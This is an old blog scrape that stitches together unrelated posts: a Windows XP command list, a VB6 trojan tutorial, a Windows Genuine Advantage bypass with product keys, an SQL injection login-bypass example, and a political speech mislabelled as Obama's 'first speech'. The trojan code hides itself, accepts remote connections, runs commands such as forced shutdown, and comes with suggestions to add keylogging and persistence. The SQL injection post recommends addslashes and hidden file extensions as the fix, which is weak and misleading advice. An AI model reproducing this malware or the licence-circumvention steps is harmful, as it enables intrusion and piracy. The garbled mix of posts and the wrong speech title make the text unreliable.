A to Z commands in Windows XP

ADDUSERS Add or list users to/from a CSV file
ARP Address Resolution Protocol
~ ASSOC Change file extension associations
ASSOCIAT One step file association
AT Schedule a command to run at a later time
ATTRIB Change file attributes

BOOTCFG Edit Windows boot settings
BROWSTAT Get domain, browser and PDC info

CACLS Change file permissions
~ CALL Call one batch program from another
~ CD Change Directory - move to a specific Folder
CHANGE Change Terminal Server Session properties
CHKDSK Check Disk - check and repair disk problems
CHKNTFS Check the NTFS file system
CHOICE Accept keyboard input to a batch file
CIPHER Encrypt or Decrypt files/folders
CleanMgr Automated cleanup of Temp files, recycle bin
CLEARMEM Clear memory leaks
CLIP Copy STDIN to the Windows clipboard.
~ CLS Clear the screen
CLUSTER Windows Clustering
CMD Start a new CMD shell
~ COLOR Change colors of the CMD window
COMP Compare the contents of two files or sets of files
COMPACT Compress files or folders on an NTFS partition
COMPRESS Compress individual files on an NTFS partition
CON2PRT Connect or disconnect a Printer
CONVERT Convert a FAT drive to NTFS.
~ COPY Copy one or more files to another location
CSCcmd Client-side caching (Offline Files)
CSVDE Import or Export Active Directory data

~ DATE Display or set the date
Dcomcnfg DCOM Configuration Utility
DEFRAG Defragment hard drive
~ DEL Delete one or more files
DELPROF Delete NT user profiles
DELTREE Delete a folder and all subfolders
DevCon Device Manager Command Line Utility
~ DIR Display a list of files and folders
DIRUSE Display disk usage
DISKCOMP Compare the contents of two floppy disks
DISKCOPY Copy the contents of one floppy disk to another
DISKPART Disk Administration
DNSSTAT DNS Statistics
DOSKEY Edit command line, recall commands, and create
macros
DSADD Add user (computer, group..) to active directory
DSQUERY List items in active directory
DSMOD Modify user (computer, group..) in active directory

~ ECHO Display message on screen
~ ENDLOCAL End localisation of environment changes in a batch file
~ ERASE Delete one or more files
~ EXIT Quit the current script/routine and set an errorlevel.
EXPAND Uncompress files
EXTRACT Uncompress CAB files

FC Compare two files
FIND Search for a text string in a file
FINDSTR Search for strings in files
~ FOR /F Loop command: against a set of files
~ FOR /F Loop command: against the results of another command
~ FOR Loop command: all options Files, Directory, List
FORFILES Batch process multiple files
FORMAT Format a disk
FREEDISK Check free disk space (in bytes)
FSUTIL File and Volume utilities
FTP File Transfer Protocol
~ FTYPE Display or modify file types used in file extension associations

GLOBAL Display membership of global groups
~ GOTO Direct a batch program to jump to a labelled line

HELP Online Help

~ IF Conditionally perform a command
IFMEMBER Is the current user in an NT Workgroup
IPCONFIG Configure IP

KILL Remove a program from memory

LABEL Edit a disk label
LOCAL Display membership of local groups
LOGEVENT Write text to the NT event viewer.
LOGOFF Log a user off
LOGTIME Log the date and time in a file

MAPISEND Send email from the command line
MBSAcli Baseline Security Analyzer.
MEM Display memory usage
~ MD Create new folders
MKLINK Create a symbolic link (linkd)
MODE Configure a system device
MORE Display output, one screen at a time
MOUNTVOL Manage a volume mount point
~ MOVE Move files from one folder to another
MOVEUSER Move a user from one domain to another
MSG Send a message
MSIEXEC Microsoft Windows Installer
MSINFO Windows NT diagnostics
MSTSC Terminal Server Connection (Remote Desktop Protocol)
MUNGE Find and Replace text within file(s)
MV Copy in-use files

NET Manage network resources
NETDOM Domain Manager
NETSH Configure network protocols
NETSVC Command-line Service Controller
NBTSTAT Display networking statistics (NetBIOS over TCP/IP)
NETSTAT Display networking statistics (TCP/IP)
NOW Display the current Date and Time
NSLOOKUP Name server lookup
NTBACKUP Backup folders to tape
NTRIGHTS Edit user account rights

~ PATH Display or set a search path for executable files
PATHPING Trace route plus network latency and packet loss
~ PAUSE Suspend processing of a batch file and display a message
PERMS Show permissions for a user
PERFMON Performance Monitor
PING Test a network connection
~ POPD Restore the previous value of the current directory saved by PUSHD
PORTQRY Display the status of ports and services
PRINT Print a text file
PRNCNFG Display, configure or rename a printer
PRNMNGR Add, delete, list printers set the default printer
~ PROMPT Change the command prompt
PsExec Execute process remotely
PsFile Show files opened remotely
PsGetSid Display the SID of a computer or a user
PsInfo List information about a system
PsKill Kill processes by name or process ID
PsList List detailed information about processes
PsLoggedOn Who's logged on (locally or via resource sharing)
PsLogList Event log records
PsPasswd Change account password
PsService View and control services
PsShutdown Shutdown or reboot a computer
PsSuspend Suspend processes
~ PUSHD Save and then change the current directory

QGREP Search file(s) for lines that match a given pattern.

RASDIAL Manage RAS connections
RASPHONE Manage RAS connections
RECOVER Recover a damaged file from a defective disk.
REG Registry: Read, Set, Export, Delete keys and values
REGEDIT Import or export registry settings
REGSVR32 Register or unregister a DLL
REGINI Change Registry Permissions
~ REM Record comments (remarks) in a batch file
~ REN Rename a file or files.
REPLACE Replace or update one file with another
~ RD Delete folder(s)
RMTSHARE Share a folder or a printer
ROBOCOPY Robust File and Folder Copy
ROUTE Manipulate network routing tables
RUNAS Execute a program under a different user account
RUNDLL32 Run a DLL command (add/remove print connections)

SC Service Control
SCHTASKS Create or Edit Scheduled Tasks
SCLIST Display NT Services
~ SET Display, set, or remove environment variables
~ SETLOCAL Control the visibility of environment variables
SETX Set environment variables permanently
SHARE List or edit a file share or print share
~ SHIFT Shift the position of replaceable parameters in a batch file
SHORTCUT Create a windows shortcut (.LNK file)
SHOWGRPS List the NT Workgroups a user has joined
SHOWMBRS List the Users who are members of a Workgroup
SHUTDOWN Shutdown the computer
SLEEP Wait for x seconds
SOON Schedule a command to run in the near future
SORT Sort input
~ START Start a program or command in a separate window.
SU Switch User
SUBINACL Edit file and folder Permissions, Ownership and Domain
SUBST Associate a path with a drive letter
SYSTEMINFO List system configuration

TASKLIST List running applications and services
TASKKILL Remove a running process from memory
~ TIME Display or set the system time
TIMEOUT Delay processing of a batch file
~ TITLE Set the window title for a CMD.EXE session
TLIST Task list with full path
TOUCH Change file timestamps
TRACERT Trace route to a remote host
TREE Graphical display of folder structure
~ TYPE Display the contents of a text file

USRSTAT List domain usernames and last login

~ VER Display version information
~ VERIFY Verify that files have been saved
~ VOL Display a disk label

WHERE Locate and display files in a directory tree
WHOAMI Output the current UserName and domain
WINDIFF Compare the contents of two files or sets of files
WINMSD Windows system diagnostics
WINMSDP Windows system diagnostics II
WMIC WMI Commands

XCACLS Change file permissions
XCOPY Copy files and folders

Read more

How to write a simple trojan in vb6 | Creating a Virus

Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code.
The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go
through what you need for both and some sample code.

Server

The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it.
To do this you start by using

Private Sub Form_Load()
Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier.
So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub

(Due to Bill gates, all running exe's will be displayed in the list of running processes. Your app will be hidden in the Running Applications List though )

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this
tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control.
I named my control win but you can name yours what ever.
Now to make it listen on port 2999 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

This code will set the local open port to 2999 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat.

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatacly accepted. The second sub makes it so all data is automaticly accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. (Public so it can be used by code outside of the Module) So add this code to the module and we are about done with the server
of the Trojan!

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

Ok now we have a program that when the data “Msgbox” is sent to it on port 2999 it will display a msgbox on the victims computer. When the data "shutdown" is sent to it on port 2999 it will shutdown the computer. I used a Select Case statement so it is easy to modify this code to your own needs later on.

Congradulations! You just made your first Trojan. Lets go over the complete code now.

Main Form

Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub

Pivate Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

Module

Public Function DoActions(x As String)

Select Case x
Case "msgbox"
Msgbox "The file C:\windows\getboobies.exe has caused an error and will be terminated",vbCritical,"Critical Error"

Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server
that accepts the command of “shutdown” and "msgbox" lets make a client that sends the command “shutdown” and "msgbox".

Make a form and add a Winsock Control, a text box, and 4 buttons. The Text box should be named txtIP if you want it to work with this code.
In addition, your buttons should be named cmdConnect, cmdMsgbox, cmdShutdown, and cmdDisconnect. Now lets look at the code we would use to make our
Client.

Private Sub cmdConnect_Click()
IpAddy = txtIp.Text
Win.Close
Win.RemotePort = 2999
Win.RemoteHost = IpAddy
Win.LocalPort = 9999
Win.Connect
cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
Win.Close
cmdConnect.Enabled = True
End Sub

Private Sub cmdMsgbox_Click()
Win.SendData "msgbox"
End Sub

Private Sub cmdShutdown_Click()
Win.SendData "shutdown"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2999. Then when connected you can send
the “shutdown” or "msgbox" data to the server and the respective actions will be carried out (shutdown computer or display a msgbox)

These two programs do very little but can quickly evolve into a powerful remote administration tool if you know what you are doing. I suggest trying
to add different types of error handling and functions to both the server and client.

Ideas:

Make the server able to download a file specified by the attacker

Add code to make the Server be executed at startup. (Its a registry key)

Add a keylogger to the server - make it send the log to the attacker. There are loads more things you could do, just use your imagination

Read more

How to find the “real” IP address of a web site?

You can use the PING utility included with Windows to determine the “real” IP address of a web site. Before using this utility, make sure you are not mapping a host name to some IP address with HostName Commander, because if you do, the PING utility will show the address you’ve set up with HostName Commander, instead of the “real” IP address.

To run the PING utility, click on the Windows Start button, and choose Run from the Start Menu. If you use Windows 95,98, or Me, enter “command” (without the quotes) as the command line to run. If you use Windows XP,2000, or NT, enter “cmd” (again, without the quotes). Click OK and the command prompt window should appear on the screen.



Now enter the word “ping” (without the quotes) followed by a space, followed by the host name you want to determine the IP address of, and press Enter:
And done....

Read more

Hacking Algorithm

A hacker is someone involved in computer security/insecurity, specializing in the discovery of exploits in systems (for exploitation or prevention), or in obtaining or preventing unauthorized access to systems through skills, tactics and detailed knowledge.

##################

void main()
{

for(i = 0 knowledge; i < knowledge; i++)
while(you don't know how something works)
{

Read(Your Brain, i);
Experiment(Your Brain, i);
Learn(Your Brain, i);

}

}

################## :D

Read more

The President Obama's First Speech

“We the people, in order to form a more perfect union."

Two hundred and twenty one years ago, in a hall that still stands across the street, a group of men gathered and, with these simple words, launched America’s improbable experiment in democracy. Farmers and scholars; statesmen and patriots who had traveled across an ocean to escape tyranny and persecution finally made real their declaration of independence at a Philadelphia convention that lasted through the spring of 1787.

The document they produced was eventually signed but ultimately unfinished. It was stained by this nation’s original sin of slavery, a question that divided the colonies and brought the convention to a stalemate until the founders chose to allow the slave trade to continue for at least twenty more years, and to leave any final resolution to future generations.

Of course, the answer to the slavery question was already embedded within our Constitution — a Constitution that had at is very core the ideal of equal citizenship under the law; a Constitution that promised its people liberty, and justice, and a union that could be and should be perfected over time.

And yet words on a parchment would not be enough to deliver slaves from bondage, or provide men and women of every color and creed their full rights and obligations as citizens of the United States. What would be needed were Americans in successive generations who were willing to do their part — through protests and struggle, on the streets and in the courts, through a civil war and civil disobedience and always at great risk — to narrow that gap between the promise of our ideals and the reality of their time.

This was one of the tasks we set forth at the beginning of this campaign — to continue the long march of those who came before us, a march for a more just, more equal, more free, more caring and more prosperous America. I chose to run for the presidency at this moment in history because I believe deeply that we cannot solve the challenges of our time unless we solve them together — unless we perfect our union by understanding that we may have different stories, but we hold common hopes; that we may not look the same and we may not have come from the same place, but we all want to move in the same direction — towards a better future for of children and our grandchildren.

This belief comes from my unyielding faith in the decency and generosity of the American people. But it also comes from my own American story.

I am the son of a black man from Kenya and a white woman from Kansas. I was raised with the help of a white grandfather who survived a Depression to serve in Patton’s Army during World War II and a white grandmother who worked on a bomber assembly line at Fort Leavenworth while he was overseas. I’ve gone to some of the best schools in America and lived in one of the world’s poorest nations. I am married to a black American who carries within her the blood of slaves and slaveowners — an inheritance we pass on to our two precious daughters. I have brothers, sisters, nieces, nephews, uncles and cousins, of every race and every hue, scattered across three continents, and for as long as I live, I will never forget that in no other country on Earth is my story even possible.

It’s a story that hasn’t made me the most conventional candidate. But it is a story that has seared into my genetic makeup the idea that this nation is more than the sum of its parts — that out of many, we are truly one.

Throughout the first year of this campaign, against all predictions to the contrary, we saw how hungry the American people were for this message of unity. Despite the temptation to view my candidacy through a purely racial lens, we won commanding victories in states with some of the whitest populations in the country. In South Carolina, where the Confederate Flag still flies, we built a powerful coalition of African Americans and white Americans.

This is not to say that race has not been an issue in the campaign. At various stages in the campaign, some commentators have deemed me either “too black” or “not black enough.” We saw racial tensions bubble to the surface during the week before the South Carolina primary. The press has scoured every exit poll for the latest evidence of racial polarization, not just in terms of white and black, but black and brown as well.

And yet, it has only been in the last couple of weeks that the discussion of race in this campaign has taken a particularly divisive turn.

On one end of the spectrum, we’ve heard the implication that my candidacy is somehow an exercise in affirmative action; that it’s based solely on the desire of wide-eyed liberals to purchase racial reconciliation on the cheap. On the other end, we’ve heard my former pastor, Reverend Jeremiah Wright, use incendiary language to express views that have the potential not only to widen the racial divide, but views that denigrate both the greatness and the goodness of our nation; that rightly offend white and black alike.

I have already condemned, in unequivocal terms, the statements of Reverend Wright that have caused such controversy. For some, nagging questions remain. Did I know him to be an occasionally fierce critic of American domestic and foreign policy? Of course. Did I ever hear him make remarks that could be considered controversial while I sat in church? Yes. Did I strongly disagree with many of his political views? Absolutely — just as I’m sure many of you have heard remarks from your pastors, priests, or rabbis with which you strongly disagreed.

But the remarks that have caused this recent firestorm weren’t simply controversial. They weren’t simply a religious leader’s effort to speak out against perceived injustice. Instead, they expressed a profoundly distorted view of this country — a view that sees white racism as endemic, and that elevates what is wrong with America above all that we know is right with America; a view that sees the conflicts in the Middle East as rooted primarily in the actions of stalwart allies like Israel, instead of emanating from the perverse and hateful ideologies of radical Islam.

As such, Reverend Wright’s comments were not only wrong but divisive, divisive at a time when we need unity; racially charged at a time when we need to come together to solve a set of monumental problems — two wars, a terrorist threat, a falling economy, a chronic health care crisis and potentially devastating climate change; problems that are neither black or white or Latino or Asian, but rather problems that confront us all.

Read more

Auto End Tasks to Enable a Proper Shutdown

This is an Auto End Tasks to Enable a Proper Shutdown
The reg file automatically ends tasks and timeouts that prevent programs from shutting down and clears the Paging File on Exit.

Step 1. Copy the following (everything in the box) into notepad.

QUOTEWindows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]“ClearPageFileAtShutdown”=dword:00000001
[HKEY_USERS\.DEFAULT\Control Panel\Desktop]“AutoEndTasks”=”1″
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control]“
WaitToKillServiceTimeout”=”1000″

Step 2. Save the file as shutdown.reg3. Double click the file to import into your registry.

IMP NOTE: If your anti-virus software warns you of a “malicious” script, this is normal if you have “Script Safe” or similar technology enabled.

Read more

Hacks the System

Hackers have a motive and that is the reason why they indulge in hacking systems. The reason can be personal or entirely professional. You should avoid having a biased attitude towards hackers. Some hackers work in an ethical manner and save the company from frauds. They even find flaws and locate the loopholes in the system that can be repaired for the better functioning.

Hackers can hack the system and get the private files only by clicking the mouse button. Within a minute they can get the password of your system. Computers at home or at work place either protected with firewall or not can be hacked easily and firewall can’t do anything about packets coming so fast.

There are so many free hacking tools available on the internet that anyone can download easily and try to hack the system using those programs. Documentation to understand these files are also given with them. Scanning utilities and sniffing programs are very commonly used by hackers. One other tool used by hackers is Whisker. It is a tool used by system administrators to test the security of the system. Using this tool, hackers can find about the operating system running on the machine and whether the un-patched holes exists in it or not.

Security software programs are able to stop hackers alone. Administrator must avoid common mistakes done by him like not changing the password of operating system, not updating the software time to time, etc. So these common mistakes must be avoided by the administrator to protect his system from hackers. Hackers find different ways to hack the system so you must be very careful for your system and websites.

Read more

Hacked

Since the advent of internet the incessant fear of being hacked has crossed the minds of individuals and companies alike. Luckily there are various steps through which one can protect an unauthorized entry. These steps are very easy to employ and some of the basic ones are as follows.

The user should be behind a router while using the internet. Many people make the mistake of plugging directly into their cable or DSL modem. A four port router will make it much more difficult for a hacker to find his way into the system as the router will provide a barrier.

The user can also take help of the software firewall. There are different choices that are available in the market and many of them are free of charge. This will block any connection that the user denies. There are various professional versions of this software that are available, which may increase the safety.

There are certain spyware software’s that are available which keeps a watch on the user’s registry. Whenever a change is made to the computer it is essential to modify the registry. But it is up to the user whether to allow the changes or to get more information about the same.

The hackers even try to hack information through phishing. The user is shown many files that are many a times not his own and a notice appears that these file are corrupt. So it’s very much necessary to be alert before providing any information to anyone.

Many people make a mistake of avoiding the security aspect thinking that they are not affected, but in real terms everyone is under the threat of hacking and its very much essential to take preventive measures against the same. That is why it is rightly said, listen, learn and most importantly watch out.

Read more

Make Windows Genuine

The Windows Genuine Advantage notification checks if you have a genuine copy of Windows registered to that computer. It allows you to update your computer with the Windows updates. If you have installed it, and you do not have a genuine copy of Windows XP installed, then you may notice an icon at the bottom of your window before you Login. It will make you wait three seconds before allowing you to login.

JUST OPEAN START THEN CLICK RUN.Type "regedit"(without quotes) and press enter.

follow this path:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WPAEvents

u'll find "OOBETimer" in the right side..
double click it..
and in value data
change the last part of first line.....
i dun care just change it.....




save it & close it.....
now opean RUN and type this widout quotes
"C:\WINDOWS\system32\oobe\msoobe.exe /a"

select the option telephone customer service now click next.. now u have a button at the bottom of ur screen "CHANGE PRODUCT KEY" click this... now u see the screen where u have to enter the key...

there u enter one of these:-

(1)T6T38-WJTK6-YVJQ7-YC6CQ-FW386
(2)V2C47-MK7JD-3R89F-D2KXW-VPK3J
(3)JG28K-H9Q7X-BH6W4-3PDCQ-6XBFJ

Open C:\Windows\System32\

Search for WgaTray.exe and Delete it.

C:\Windows\System32\dllcache\ and delete WgaTray.exe here also.

Next you have to modify your registry.

Press the Start Button > Run and type regedit and then press enter.

Go to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify and delete the WGALOGON folder.

That's all you have to do, now you are WGA free. Just make sure you don't automatically install the WGA update again. Restart your computer to see if you did it correctly. The WGA logo should not appear on your login screen.

DISCLAIMER: We do not condone having pirated copies of Windows on your computer. You should have one CAL per computer. This is for educational purposes only.

ref : 9lessons blog

Read more

Hack your Own Web Project ? SQL Injection

SQL Injection

SQL Injection like this





Login Java Code

String userid = request.getParameter("userid");
String password = request.getParameter("password");
Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
connection = DriverManager.getConnection("jdbc:odbc:projectDB");

query = "SELECT * FROM Users WHERE user_id ='" + userid + "' AND password ='" + password +"'";

PreparedStatement ps = connection.prepareStatement(query);
ResultSet users = ps.executeQuery();

if(users.next()){

//some thing here
}
else{

}

Injection Works like this
query = "SELECT * FROM Users WHERE user_id ='' OR 1=1; /* AND password ='*/--'";

Login PHP Code;

Username = ' OR 1=1;//
Password = ....
$myusername=$_POST['usr'];
$mypassword=$_POST['pwd'];

$sql="SELECT * FROM users WHERE user='$myusername' and password='$mypassword'";

$result=mysql_query($sql);
$count=mysql_num_rows($result);

if($count==1){

//some code
}
else {

}
Injection Works like this
$sql="SELECT * FROM users WHERE user=''OR 1 = 1;//' and password='....'";

How to avoid these mistakes Use addSlashes() function adding slashes(/) to the string in java and php

//Java Code
addSlashes(String userid);

// PHP Code
$myusername=addslashes($_POST['usr'];);
Hacker is intelligent than programmer. So always hide the file extension (eg: *.jsp,*.php,*.asp).

http://xyz.com/login.php to http://xyz.com/login
http://xyz.com/login to http://xyz.com/signin.do
In Java redirect this URL links using Web.xml file and inn php write .htaccess file in root directory.

Read more